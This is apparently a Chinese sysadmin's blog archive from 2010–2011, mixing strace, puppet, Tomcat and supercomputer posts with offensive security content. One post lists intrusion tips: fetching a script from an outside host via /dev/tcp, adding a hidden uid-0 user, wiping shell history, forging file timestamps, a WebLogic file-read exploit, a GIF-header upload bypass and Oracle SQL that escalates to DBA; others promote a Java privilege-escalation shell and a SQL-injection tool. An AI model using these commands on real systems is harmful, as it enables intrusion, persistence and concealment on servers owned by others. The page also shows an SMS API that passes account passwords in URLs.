由于最近的一些业务在linux系统上高并发的情况下发生了很多问题,最终都是使用strace跟踪找到了问题所在,便整理了一份strace的使用方法和详解,也拿出来给大家分享一下

功能说明:

strace 命令是一种强大的工具, 能够显示任何由用户空间程式发出的系统调用. strace 显示这些调用的参数并返回符号形式的值. strace 从内核接收信息, 而且无需以任何特别的方式来构建内核. strace 的每一行输出包括系统调用名称, 然后是参数和返回值.
下面记录几个常用option:
-f -F选项告诉strace同时跟踪fork和vfork出来的进程
-o xxx.txt 输出到某个文档.
-e execve 只记录 execve 这类系统调用.

实例说明:

配置php将其开户一个进程,方便每次都能跟踪到数据,如开户多个将刷新多次才可能分配到你监听的进程上
用以下php来做一个示例保存为test2.php(因facebook在国空被gfw,所以请求肯定会超时,特拿来做试验)
<?php
$a = exec(“curl -I www.facebook.com”,$out,$status);
print_r($a);
print_r($out);
print_r($status);
?>

使用curl请求地址或是通过ie请求
Curl –I http://100.100.100.6/test2.php
在服务端监听其端口(可使用ps –auxf|grep php-fpm)来确定其进程号
Strace –p 32448(也可使用strace –T –p 32448看每个执行的时间)

如果执行请求后,可看在上图看到php当执行到
$a = exec(“curl -I www.facebook.com”,$out,$status);
时开始等待返回,25秒左右后才返回结果
另一种测试方法,也可以直接用php去执行跟踪
Strace /usr/bin/php test2.php

以上图可看到,程序也是在执行
exec(“curl -I www.facebook.com”,$out,$status);的时候开始等待返回,耗费21秒时间

Strace还可以跟踪服务启动过程,帮我们解决一些服务在启动过程中遇到的问题,以下以nginx配置错误为例
以下是不存在/log根目录的、我们来跟踪启动看是什么效果

Strace /usr/local/nginx/sbin/nginx
以下是其返回结果,也可以看到提示目录有误

Strace在跟踪时返回0则程序执行正常,如返回其它数字则会继续查找,直到所有默认文件或是设置都不存在时才会报错

详细参数说明 :

-c 统计每一系统调用的所执行的时间,次数和出错的次数等.
-d 输出strace关于标准错误的调试信息.
-f 跟踪由fork调用所产生的子进程.
-ff 如果提供-o filename,则所有进程的跟踪结果输出到相应的filename.pid中,pid是各进程的进程号.
-F 尝试跟踪vfork调用.在-f时,vfork不被跟踪.
-h 输出简要的帮助信息.
-i 输出系统调用的入口指针.
-q 禁止输出关于脱离的消息.
-r 打印出相对时间关于每一个系统调用.
-t 在输出中的每一行前加上时间信息.
-tt 在输出中的每一行前加上时间信息,微秒级.
-ttt 微秒级输出,以秒了表示时间.
-T 显示每一调用所耗的时间.
-v 输出所有的系统调用.一些调用关于环境变量,状态,输入输出等调用由于使用频繁,默认不输出.
-V 输出strace的版本信息.
-x 以十六进制形式输出非标准字符串.
-xx 所有字符串以十六进制形式输出.
-a column 设置返回值的输出位置.默认 为40.
-e expr 指定一个表达式,用来控制如何跟踪.格式如下:
[qualifier=][!]value1[,value2]…
qualifier只能是 trace,abbrev,verbose,raw,signal,read,write其中之一.value是用来限定的符号或数字.默认的 qualifier是 trace.感叹号是否定符号.例如-eopen等价于 -e trace=open,表示只跟踪open调用.而-etrace!=open表示跟踪除了open以外的其它调用.有两个特殊的符号 all 和 none. 注意有些shell使用!来执行历史记录里的命令,所以要使用\.
-e trace=set 只跟踪指定的系统调用.例如:-e trace=open,close,rean,write表示只跟踪这四个系统调用.默认的为set=all.
-e trace=file 只跟踪有关文件操作的系统调用.
-e trace=process 只跟踪有关进程控制的系统调用.
-e trace=network 跟踪与网络有关的所有系统调用.
-e strace=signal 跟踪所有与系统信号有关的系统调用.
-e trace=ipc 跟踪所有与进程通讯有关的系统调用.
-e abbrev=set 设定strace输出的系统调用的结果集.-v 等与 abbrev=none.默认为abbrev=all.
-e raw=set 将指定的系统调用的参数以十六进制显示.
-e signal=set 指定跟踪的系统信号.默认为all.如 signal=!SIGIO(或者signal=!io),表示不跟踪SIGIO信号.
-e read=set 输出从指定文件中读出的数据.例如-e read=3,5
-e write=set 输出写入到指定文件中的数据.
-o filename 将strace的输出写入文件filename
-p pid 跟踪指定的进程pid.
-s strsize 指定输出的字符串的最大长度.默认为32.文件名一直全部输出.
-u username 以username 的UID和GID执行被跟踪的命令.

苦咖啡原创
转载请注明出处:http://www.kukafei520.net

十一月 30th, 2011

Posted In: 未分类

早上上班第一件事就是看邮件,发现game、shop、pay全部报500错误,这个不是一件小事,增值业务是公司赢利的命脉,第一件事打电话给相关同事,随后登上服务器查看服务器当前情况,负载,CPU等使用都很低,为何还报服务器内部错误,重启服务,发现正常,两分钟后又报500,top下找到一个CPU使用最高的php进程记录下进程号

使用strace -p "进程号"就开始进程跟踪了,一会就显示完跟踪结果,结果如下:

poll([{fd=8, events=POLLIN|POLLPRI}], 1, 0) = 0 (Timeout)
setsockopt(8, SOL_SOCKET, SO_SNDTIMEO, "20033411", 16) = 0
write(8, "373select get_Lock(114180,1) n"…, 35) = 35
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "20033411", 16) = 0
read(8, "1113223def4namef?110200"…, 16384) = 59
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "20033411", 16) = 0
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "20033411", 16) = 0
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "20033411", 16) = 0
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "20033411", 16) = 0
poll([{fd=8, events=POLLIN|POLLPRI}], 1, 0) = 0 (Timeout)
setsockopt(8, SOL_SOCKET, SO_SNDTIMEO, "20033411", 16) = 0
write(8, "33713update fs_user_account a, f"…, 483) = 483
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "20033411", 16) = 0
read(8, "012(Rows matched: 0 Cha"…, 16384) = 52
poll([{fd=8, events=POLLIN|POLLPRI}], 1, 0) = 0 (Timeout)
setsockopt(8, SOL_SOCKET, SO_SNDTIMEO, "20033411", 16) = 0
write(8, "343select RELEASE_LOCK(114180)", 32) = 32
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "20033411", 16) = 0
read(8, "111*23def24RELEASE_LOCK(11"…, 16384) = 75
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "20033411", 16) = 0
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "20033411", 16) = 0
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "20033411", 16) = 0
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "20033411", 16) = 0
lstat("/mnt", {st_mode=S_IFDIR|0755, st_size=4096, …}) = 0
lstat("/mnt/NAS", {st_mode=S_IFDIR|0755, st_size=4096, …}) = 0
lstat("/mnt/NAS/pay.funshion.com", {st_mode=S_IFDIR|0755, st_size=4096, …}) = 0
lstat("/mnt/NAS/pay.funshion.com/log", {st_mode=S_IFDIR|0755, st_size=20480, …}) = 0
lstat("/mnt/NAS/pay.funshion.com/log/pay_20111117.log", {st_mode=S_IFREG|0644, st_size=1762494, …}) = 0
open("/mnt/NAS/pay.funshion.com/log/pay_20111117.log", O_WRONLY|O_CREAT|O_APPEND, 0666) = 9
fstat(9, {st_mode=S_IFREG|0644, st_size=1762494, …}) = 0
lseek(9, 0, SEEK_CUR) = 0
lseek(9, 0, SEEK_CUR) = 0
flock(9, LOCK_EX <unfinished …>
Process 1212 detached

很明显程序在写入pay_20111117.log向nas写文件时进程阻塞了,问题就明显了,nas上多组业务都在大量读写,因此nas后来改为只做文件挂载,而日志等其它东西全部本地化,马上修改其配置文件,业务全部恢复正常,大家在遇到一些自己找不到问题原因的时候,可以多试一下strace跟踪命令,比如你一个服务无法启动,可使用strace service mysqld start,一样可以显示跟踪结果,很容易就问题定位了,至此已完美解决问题

十一月 17th, 2011

Posted In: 未分类

以下全为虚拟环境测试,建意使用ruby1.86,puppet为2.7.3版本,特别强调ruby不要使用1.87版本,在跨机房传输中会存在问题

本文全部为tar包编译,适合于centos及redhat系统,特别强调安装完puppet客户端后修改手动编译位置,文中做了说明

实验环境:Vmware +centos 5.4/64 redhat 4.5/64

软件环境: ruby 1.86 mysql为yum包 puppet 2.7.3 facter-1.6.0

服务端:192.168.8.207 puppet

客户端:192.168.8.208 redhat4

客户端服务端配置:

本地解析配置

vi /etc/hosts

192.168.8.207 puppet

192.168.8.208 redhat4

puppet 需要时间同步

yum install -y ntp

ntpdate ntp.api.bz

下载所需tar包 (更多…)

十一月 9th, 2011

Posted In: 未分类

最近一直在研究linux服务器java提权及程序反弹,也提权过几台服务器,当然更多的目的是测试exp及服务器权限设置问题,修改了一个shell,以下为截图

点击下载此文件

十二月 23rd, 2010

Posted In: 未分类

更新说明:

1.增强注入功能

软件特色

1.全面支持HTTP类型

支持HTTP 1.0/1.1;
支持POST/GET/Cookie方法;
支持Basic/NTLM/Digest验证;
支持基于公钥或者私钥的SSL;
2.全面的数据库类型识别

支持MS Access;
支持MS SQL Server;
支持Mysql Server;
支持Oracle Server;
支持Postgre SQL Server;
支持Informix SQL Server;
支持Sybase SQL Server;
支持DB2 SQL Server;
支持Sqlite;
3.诸多领先技术

全自动智能网页编码识别,告别数据库乱码;
内置自动智能关键字分析,无需人工干预;
支持Error/Union/Blind/Force等丰富sql注入方式,确保能获取数据;
丰富的绕过防火墙过滤功能;
内置浏览器可以注入需要登录的网站;
7.1更新说明
1.新增多字段联查功能

2.改进了对asp 、php、jsp注入报错的判断

免责声明
软件作者无法鉴别判断用户使用软件的真实用途,敬请用户在本国法律所允许范围内使用本软件,用户一旦因非法使用本软件

而违反国家相关的法律法规,所造成的一切不良后果由该用户独立承担,软件作者不负责也不承担任何直接间接或连带等法律

责任。

6.8免费版下载地址:

http://code.google.com/p/safe3si/downloads/list

十二月 20th, 2010

Posted In: 未分类

1.无wget nc等下载工具时下载文件
exec 5<>/dev/tcp/yese.yi.org/80 &&echo -e "GET /c.pl HTTP/1.0n" >&5 && cat<&5 > c.pl

2.Linux添加uid为0的用户
useradd -o -u 0 cnbird

3.bash去掉history记录
export HISTSIZE=0
export HISTFILE=/dev/null

4.SSH反向链接
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip -p 指定远端服务器SSH端口
然后服务器上执行ssh localhost -p 44即可

5.weblogic本地读取文件漏洞
curl -H "wl_request_type: wl_xml_entity_request" -H "xml-registryname: ../../" -H "xml-entity-path: config.xml" http://server/wl_management_internal2/wl_management

6.apache查看虚拟web目录
./httpd -t -D DUMP_VHOSTS

7.cvs渗透技巧
CVSROOT/passwd UNIX SHA1的密码文件
CVSROOT/readers
CVSROOT/writers
CVS/Root
CVS/Entries 更新的文件和目录内容
CVS/Repository

8.Cpanel路径泄露
/3rdparty/squirrelmail/functions/plugin.php

9.修改上传文件时间戳(掩盖入侵痕迹)
touch -r 老文件时间戳 新文件时间戳

10.利用baidu和google搜索目标主机webshell
intitle:PHPJackal 1t1t

11.包总补充
创建临时?隐藏?目录 mkdir /tmp/…
/tmp/…目录在管理员有宿醉的情况下是?隐藏?的,可以临时放点exp啥的

12.利用linux输出绕过gif限制的图片
printf "GIF89ax01x00x01x00" > poc.php

13.读取环境变量对于查找信息非常有帮助
/proc/self/environ

14.最新的ORACLE 11提升用户权限(只要session权限)
DBMS_JVM_EXP_PERMS 中的IMPORT_JVM_PERMS

判断登陆权限
select * from session_privs;
Create SESSION

select * from session_roles;

select TYPE_NAME, NAME, ACTION FROM SYS.DBA_JAVA_POLICY Where GRANTEE = 'GREMLIN(用户名)';

DESC JAVA$POLICY$

DECLARE
POL DBMS_JVM_EXP.TEMP_JAVA_POLICY;
CURSOR C1 IS Select 'GRANT' USER(), 'SYS', 'java.io.FilePermission', '<>', 'execute', 'ENABLE' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

connect / as sysdba
COL TYPE_NAME FOR A30;
COL NAME FOR A30;
COL_ACTION FOR A10;
Select TYPE_NAME, NAME, ACTION FROM SYS.DBA_JAVA_POLICY Where GRANTEE = '用户';

connect 普通用户
set serveroutput on
exec dbms_java.set_output(10000);

Select DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID', 'oracle/aurora/rdbms/DbmsJava', 'SYS', 'writeOutputToFile', 'TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0, 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;'BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO 用户''; END;', 'BEGIN NULL; END;') FROM DUAL;

EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOWS('NO_SUCH_SUBSCRIPTION', SYSDATE());

set role dba;

select * from session_privs;

EXEC SYS.VULNPROC('FOO"||DBMS_JAVA.SET_OUTPUT_TO_SQL("ID","DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE""GRANT DBA TO PUBLIC"";DBMS_OUTPUT.PUT_LINE(:1);END;","TEXT")||"BAR');

Select DBMS_JAVA.RUNJAVA('oracle/aurora/util/Test') FROM DUAL;
SET ROLE DBA;

15. webLogic渗透技巧
四. Weblogin Script Tool(WLST)

写入到\config\config.xml

1.进行修改:
wlserver_10.0serverbinsetWLSenv.sh
2.启动WLST
java weblogic.WLST

wls:/offline> connect('admin', 'admin', 't3://127.0.0.1:7001')
wls:/bbk/serverConfig> help()

wls:/bbk/serverConfig> edit()
wls:/bbk/serverConfig> cd('Servers')
wls:/bbk/serverConfig/Server-cnbird> cd('Log')
wls:/bbk/serverConfig/Server-cnbird/log> cd('Server-cnbird')
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird> startEdit()
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> set('FileCount', '4')
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> save()
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> activate() 提交对应Active Change
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> disconnect()
wls:/offline> exit()

3.批处理:
保存以上命令为cnbird.py
connect('admin', 'admin', 't3://127.0.0.1:7001')
cd('Servers')
cd('Log')
cd('Server-cnbird')
startEdit()
set('FileCount', '4')
save()
然后执行java weblogic.WLST cnbird.py

十二月 4th, 2010

Posted In: 未分类

西毒,我严重BS你……xx

十一月 24th, 2010

Posted In: 未分类

最近一直都在研究报警系统,所有的东西都调完了,最喜欢的还是nagios,调试完加上飞信接口,由于网上的接口都有些过时,所以联系到了飞信作者,给了我一个最新版的linux飞信版本,调试完系统报警,就用php写了一个报警接口用在其它的项目,然后程序做了点改动,可以开放一下接口地址,方便更多的人
以为为接口使用方法
[code]
http://sms.dson.cc/fetion.php?mobile=飞信手机号&passwd=飞信密码&number=接收手机号或是飞信号&text=你要发送的内容
[/code]

十一月 3rd, 2010

Posted In: 未分类

Windows最大的不同在于,Unix系统强大的安全性是因为它拥有良好的安全架构设计,不得不承认一个事实,在安全方面双方有很多相同点,而微软似乎更想将Unix的安全特性全部纳入其Windows系统,但微软有一点没有做好的是,其安全性设计都是驾临于操作系统之上,而不是从系统架构出发考虑的。
  例如,Windows中的特权隔离长期以来对Windows安全都有一个问题,在Windows架构层面的确有一些特权隔离特性,但它只是一个半心半意的实现,依赖于用户级功能行为和使用意图。

  系统模块化是Unix架构安全的另一个实例,而这是Windows所缺乏的。每一个Windows版本都捆绑了大量的应用程序,如IE浏览器。即使一次针对浏览器的攻击,也很容易获得内核空间的访问权,从而获得整个系统的控制权,而这种情况在Unix的基础系统中是不存在的。

  特权隔离的重要性

  有人可能会抱怨你想保护的系统信息存放在其他用户也能访问到的位置,因此特权隔离不能起到真正的作用。其实他们没有完全理解特权隔离的好处:可以防止入侵者获得root权限。

  服务器进程通常运行在Unix系统一个特殊用户账户下,这意味着入侵者通过网络入侵得逞后,也只能拿到该服务对应用户账户的权限。大多数情况下这些用户都属于普通用户,大部分恶意软件都需要管理员账户才能正常工作。

  键盘记录器是Windows用户的恶梦,但在Unix系统上,它们需要管理员级的系统组件才能正常运行。这意味着即使键盘记录器通过某些非特权用户账户成功注入到系统,但因没有足够的权限也不能开始它的工作。

  其它安全威胁,如rootkit,木马和僵尸网络客户端也需要Unix系统的root用户权限才能工作。而在Windows系统上,缺乏严格的特权隔离致使其对恶意软件的防护能力不足。

  用户控制和自动执行

  众所周知,Windows很容易感染病毒,主要是因为它想为用户做太多的事情。恶意软件通常会随不相干的软件运行而自动启动,例如,当你打开一个Word文档时,巧妙设计的恶意软件也跟着运行,而这时Windows将重定向文件的执行路径,从Word文件转向恶意软件执行需要的文件。

  相反,Unix系统在默认情况下是不会干这种蠢事的。在Unix上运行程序更规范,要打开的文件将作为一个参数传递给主程序。因此如果恶意软件试图用伪装的OpenOffice.org文档诱骗OO.o执行,操作系统是不会上当的;相反,文字处理软件无法打开该文件,因为它的文件类型不正确。

  在Windows下还有一种无安全保证的自动执行 – 臭名昭著的AutoRun(自动运行)。美国国防部就曾被搞得很窝火,有人用U盘接入国防部电脑,恶意软件利用Windows的AutoRun特性自动运作,继而使它许多安装有Windows的电脑遭到入侵,虽然可以关闭Windows的自动运行功能,但并不是那么容易,这样的功能本身默认就不应该开启,不知为何微软没有意识到这一点,更糟糕的是,即便你关闭了自动运行功能,Windows自动更新也会暗中自动激活它。

  不同的设计理念

  Unix和Windows在安全方面的设计差异体现了不同的理念。遗憾的是,Unix从底层设计开始就将安全考虑进去了,而Windows的理念是“谁在乎安全呢?”。

  但Windows并不孤单,类Unix的系统也正在朝这条路走去,如广为人知的Linux,拿现在最流行的Ubuntu为例吧,它在安全和受欢迎方面的平衡也如Windows一样,Ubuntu更注重用户体验,安全似乎不是它最关心的,但始终流淌着Unix系统安全设计的血液,可悲的是,它们之间的差距可能会随时间而越来越小。

十月 27th, 2010

Posted In: 未分类

2010年全球高性能计算机TOP500排行榜在今年6月份公布了,今年的三甲分别是Jaguar、曙光星云和Roadrunner。今年让国人特别激动的是曙光的”星云”挤入第二名。可以注意到的是,这前三款超级计算机使用的都是Linux操作系统,那么究竟2010年的前三名超级计算机是什么样的呢?一起来看看吧。

根据TOP500资料显示,目前全球500强超级计算机有282部在美国,114部在欧洲(其中英国拥有38部,法国拥有29部,德国拥有24部),24部在中国,18部在日本,5部在印度。从整个操作系统占有比例上可以看出,Linux几乎独占了HPC超级计算领域。至2010年6月为止的数据显示,Linux所占的比例达91%。

颠峰对决:全球最牛3款Linux超级计算机

▲2010年全球500强超级计算机分布图

颠峰对决:全球最牛3款Linux超级计算机

▲2010年6月全球高性能计算机TOP500操作系统家族排行版

颠峰对决:全球最牛3款Linux超级计算机

▲2009年6月全球高性能计算机TOP500操作系统家族排行版

第一名:Cray的美洲豹”Jaguar”

位列2010年高性能计算机Top 500第一名的超级计算机仍然是去年Top 500 12月份的冠军–来自Cray的美洲豹”Jaguar”,凭借1.759PFlop/s(每秒1759万亿次)的计算能力傲视群雄。从官方公布的数字来看,”Jaguar”采用了224162个处理器核心。该款超级计算机位于美国田纳西州橡树岭国家实验室,主要用于武器模拟。Jaguar使用的操作系统是UNICOS/lc,这是结合Linux服务节点和Catamount微核计算节点的系统。

颠峰对决:全球最牛3款Linux超级计算机

颠峰对决:全球最牛3款Linux超级计算机

▲图:美国强超级计算机Jaguar

Jaguar(美洲豹)是一台结合XT3和XT4系统Cray XT系统。是美国国家领导的主要计算设备(NLCF)。

目前Jaguar装有11706个处理器节点,其中,有11508个是计算机配置节点,主要提供I/O和登录服务。而且每个计算节点包含2.6GHz的双核AMD皓龙处理器和8GB的内存。该服务器节点包含2.6 GHz双核ARM皓龙处理器和8GB内存。整个系统提供超过119万亿次的浮点运算和大约46万亿字节的内存总量峰值性能。此外,该系统为其文件系统提供约600个缓存磁盘空间。

Jaguar系统中的每个节点是通过 Hypertransport技术连接到Cray Seastar路由器中,而Seastars路由使用的是一个三维环面的拓扑互联结构。这种拓扑结构具有高带宽、低延迟、可扩展性强等特点。

Jaguar速度是1750万亿次,普通的计算机要花费多久时间来完成这个计算呢 ?

颠峰对决:全球最牛3款Linux超级计算机

上图给了一个很直观的演示,Jaguar运行1秒钟,普通PC需要运行10小时 (相当于从伦敦坐飞机到墨西哥的时间)。Jaguar运行1分钟,普通PC需要运行25天(相当于从约翰欧格罗斯步行到加拿大兰兹角所花的时间)。Jaguar运行1小时,普通PC需要运行4年(这个相当于两届世界杯间隔时间)。Jaguar运行1天,普通PC需要运行100年(100年的时间都可能收到女皇的电报了)。

第二名:曙光”星云”超级计算机

2010年全球高性能计算机TOP500排行榜上中国有两台进入前十名,居世界超级电脑500强第二位的是曙光”星云”,位于深圳国家超级计算机中心,运算速度1270万亿次。而位列第七的是”天河一号”。这样的好成绩标志着我国生产、应用、维护高性能计算机的能力已达到世界领先水平,对中国高性能计算机的发展具有划时代的意义。

“星云”是由TC3600系列计算刀片搭建、使用了英特尔至强5650处理器和Nvidia Telsa的超级计算机,它是目前为止中国超级计算机在Top500榜单上的最高名次的高性能计算机。

“星云”是目前中国实测性能超过一千多万亿次的首台商用高性能计算机,其峰值运算速度可达每秒3000万亿次,实测Linpack性能达到每秒1271万亿次。除了超强计算能力,它还拥有超高密度、超高性价比、超低功耗以及超广泛应用等特点。该款计算机采用的也是Linux操作系统。

颠峰对决:全球最牛3款Linux超级计算机

▲曙光”星云”超级计算机

曙光公司成立于1995年,实现了国产高性能计算机的产业化生产,构建了集研发、设计、制造于一体的服务器产业链。2008年,该公司推出了我国首款百万亿次超级计算机曙光5000A,并在当年发布的全球高性能计算机TOP500排行榜上跻身世界超级计算机第十位。

第三名:IBM “Roadrunner”超级计算机

排名第三的是IBM的”Roadrunner “走鹃超级计算机,目前位于美国新墨西哥国家实验室。主要用于实验研究工作。Roadrunner使用操作系统还是开源Linux操作系统–Red Hat。Roadrunner将主要用于确保国家核武器储备的安全问题。此外,它还用于天文,能源,人类基因组科学和气候变化的研究。

颠峰对决:全球最牛3款Linux超级计算机

颠峰对决:全球最牛3款Linux超级计算机

▲IBM的”Roadrunner “走鹃超级计算机

2006年,美国能源部国家安全管理局选定洛斯阿拉莫斯国家实验室作为IBM超级计算机Roadrunner的研发实验基地。Roadrunner(走鹃)是以新墨西哥的州鸟的名字命名的,花费了大约1亿美元的成本。Roadrunner经过三个阶段的研究才完成得,它是世界上第一个”混合”超级计算机。每秒钟可以完成一千万亿次计算。Roadrunner的速度是IBM位于劳伦斯利弗莫尔国家实验室的Blue Gene system中运行最快计算机的2倍。

Roadrunner是世界上第一台混合超级计算机。其早期设计主要使用Cell宽带引擎® ,最初主要是为索尼Playstation 3 ® 这类视频游戏平台而设计的,主要结合X86处理器和AMD®。

据统计,Roadrunner连接了6562个双核ARM Opteron ®芯片和12,240个Cell芯片,它是基于IBM QS22刀片服务器模型。Roadrunner计算机系统有98万亿字节的内存,并存放在一个278个冰箱大小的机柜中,而IBM BladeCenter®大约要占领5200平方米英尺的空间,总共有1万个节点,其全部无线带宽和千兆以太网共需要55英里的光纤电缆。Roadrunner重达500000英镑。参与到Roadrunner项目中的公司和技术包括:Emcore(安科), Flextronics(伟创力), Mellanox and Voltaire。

Roadrunner有一个特别的”三刃”配置,是由两个IBM QS22刀片服务器和一台IBM LS21刀片服务器合并而成的,每个三刃每秒钟就可以运行400亿次计算。而且整个机器就包含有3060个”三刃”配置,这些全部都是由IBM罗彻斯特工厂生产的。

这台机器的构建和测试都是在IBM纽约的Poughkeepsie工厂,这里是1990年美国政府创立ASCII系列超级计算机的基地。

与很多传统的超级计算机相比,Roadrunner的混合设计方式具有较小的能源(2.34兆瓦)和世界领先的效率–每瓦4.37亿次计算。IBM认为Roadrunner绝对可以冠上”绿色的超级计算机”的名号。

IBM目前也正在为Roadrunner研究新的软件,Roadrunner的一个重要目标就是让其混合超级计算能力服务于商业应用。通过和企业和学术伙伴合作,开发一个开源的生态系统,为金融计算、能源勘探和医疗成像等提供重要服务。

十月 23rd, 2010

Posted In: 未分类

经常查看日志是否想在查看日志的同时显示其IP所在地了,以下方法就为你提供了方法
自带的命令有
nali
nali-dig
nali-nslookup
nali-traceroute
nali-tracepath
nali-ping
除以上几种方式以外,您可以自己使用shell来组合使用,下面是安装方法和shell截取字符串后对比显示的语句,可自由变更

wget http://qqwry.googlecode.com/files/nali-0.2.tar.gz
tar zxvf nali-0.2.tar.gz
cd nali-0.2
./configure && make && make install
cat /data/log/access.log | awk '{print $1}'|sort|uniq -c|nali|sort -rnk1|more

十月 20th, 2010

Posted In: 未分类

使用apr和tomcat-native优化tomcat,提高tomcat的性能。

Apache Tomcat Native library 是干什么的呢?
这是 Apache 为了提升 Tomcat 的性能搞的一套本地化 Socket, Thread, IO 组件也就是说它有高级 IO 功能, 操作系统级别的功能调用, 以及本地进程处理等等, 这些都能使 Tomcat 更像一个 Web Server(像Apache那样), 而不是只能用来解释JSP, 也就是说提升单独的 Tomcat 作为服务器的吞吐性能.

一般情况下,APR开发包很轻易理解为仅仅是一个开发包,不过事实上并不是。目前,完整的APR实际上包含了三个开发包:apr、apr-util以及apr-iconv,每一个开发包分别独立开发,并拥有自己的版本。
apr包含了一些通用的开发组件,包括mmap,文件等等,前面已经描述过。
apr-util也是包含了一些常用的开发组件。这些组件与apr目录下的相比,它与apache的关系更加密切一些。比如存储段和存储段组,加密等等。
apr-iconv包中的文件主要用于实现iconv编码。目前的大部分编码转换过程都是与本地编码相关的。在进行转换之前必须能够正确地设置本地编码。因此假如两个非本地编码A和B需要转换,则转换过程大致为A->Local以及Local->B或者B->Local以及Local->A。
XPG2 标准中另外定义了一组全新的函式接口ICONV,该接口是一种更广义的字集转换系统。也是一个与本地编码无关的字集转换系统。APR中也支持这种字集转换系统,为此它提供了完整的实现。Apr-iconv正是为此目的而产生。

此次安装在64位centos 5.5系统
32位系统只需装32位jdk即可

所需文件
[code]
1. jdk-6u21-linux-x64.bin
http://cds.sun.com/is-bin/INTERSHOP.enfinity/WFS/CDS-CDS_Developer-Site/en_US/-/USD/VerifyItem-Start/jdk-6u21-linux-x64.bin?BundledLineItemUUID=H1eJ_hCyf.AAAAEqFAYUA7zE&OrderID=cFSJ_hCyoZEAAAEqAAYUA7zE&ProductID=xKiJ_hCySHIAAAEpT7wzBGsB&FileName=/jdk-6u21-linux-x64.bin

2. apr-1.4.2.tar
http://labs.renren.com/apache-mirror//apr/apr-1.4.2.tar.gz

3. apr-iconv-1.2.1.tar.gz
http://labs.renren.com/apache-mirror//apr/apr-iconv-1.2.1.tar.gz

4. apr-util-1.3.9.tar
http://labs.renren.com/apache-mirror//apr/apr-util-1.3.9.tar.gz

5. tomcat-native
http://apache.etoak.com//tomcat/tomcat-connectors/native/1.1.20/source/tomcat-native-1.1.20-src.tar.gz
[/code]
安装jdk
[code]
chmod +x jdk-6u21-linux-x64.bin
./jdk-6u21-linux-x64.bin
mv jdk1.6.0_21/ /usr/local/
[/code]

设置环境变量
[code]
vi /etc/profile
export JAVA_HOME=/usr/local/jdk1.6.0_21
export CLASSPATH=/usr/local/jdk1.6.0_21/lib/dt.jar:/usr/local/jdk1.6.0_21/lib/tools.jar
export PATH=/usr/local/jdk1.6.0_21/bin:$PATH
export PATH JAVA_HOME CLASSPATH
[/code]

安装tomcat
[code]
tar zxvf apache-tomcat-7.0.2.tar.gz
mv apache-tomcat-7.0.2 /usr/local/webserver/
vi /usr/local/webserver/tomcat/bin/catalina.sh
[/code]
在程序开头添加一句
JAVA_HOME=/usr/local/jdk1.6.0_21

优化tomcat
安装apr
[code]
tar zxvf apr-1.4.2.tar
cd apr-1.4.2
./configure –prefix=/usr/local/apr
make
make install
[/code]
安装apr-iconv
[code]
tar -zxvf apr-iconv-1.2.1.tar.gz
cd apr-iconv-1.2.1
./configure –prefix=/usr/local/apr-iconv –with-apr=/usr/local/apr
make
make install
[/code]
安装apr-util
[code]
tar zxvf apr-util-1.3.9.tar.gz
cd apr-util-1.3.9
./configure –prefix=/usr/local/apr-util –with-apr=/usr/local/apr –with-apr-iconv=/usr/local/apr-iconv/bin/apriconv
make
make install
[/code]
安装tomcat-native
[code]
tar zxvf tomcat-native-1.1.20-src.tar.gz
cd tomcat-native-1.1.20-src/jni/native
./configure –with-apr=/usr/local/apr –with-java-home=/usr/local/jdk1.6.0_21
make
make install
[/code]
添加环境变量
[code]
echo "export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/apr/lib" >>/etc/profile
source /etc/profile
[/code]
启动tomcat
/usr/local/webserver/tomcat/bin/start.sh
less /usr/local/webserver/tomcat/logs/catalina.out

即可看到
Aug 29, 2010 3:47:32 PM org.apache.catalina.core.AprLifecycleListener init
INFO: Loaded APR based Apache Tomcat Native library 1.1.20.
表显已优化完成

八月 29th, 2010

Posted In: 未分类

最近一直在做系统及程序优化,原32位系统升级为64位系统,在对tomcat进行优化后,启动控制台报错,现提供本人解决方法
以下为报错代码
[code]
java.lang.UnsatisfiedLinkError: /usr/local/apr/lib/libtcnative-1.so.0.1.20: /usr/local/apr/lib/libtcnative-1.so.0.1.20: wrong ELF class: ELFCLASS64 (Possible cause: architecture word width mismatch)
at java.lang.ClassLoader$NativeLibrary.load(Native Method)
at java.lang.ClassLoader.loadLibrary0(ClassLoader.java:1751)
at java.lang.ClassLoader.loadLibrary(ClassLoader.java:1676)
at java.lang.Runtime.loadLibrary0(Runtime.java:823)
at java.lang.System.loadLibrary(System.java:1030)
at org.apache.tomcat.jni.Library.<init>(Library.java:42)
at org.apache.tomcat.jni.Library.initialize(Library.java:168)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:597)
at org.apache.catalina.core.AprLifecycleListener.init(AprLifecycleListener.java:157)
at org.apache.catalina.core.AprLifecycleListener.isAprAvailable(AprLifecycleListener.java:81)
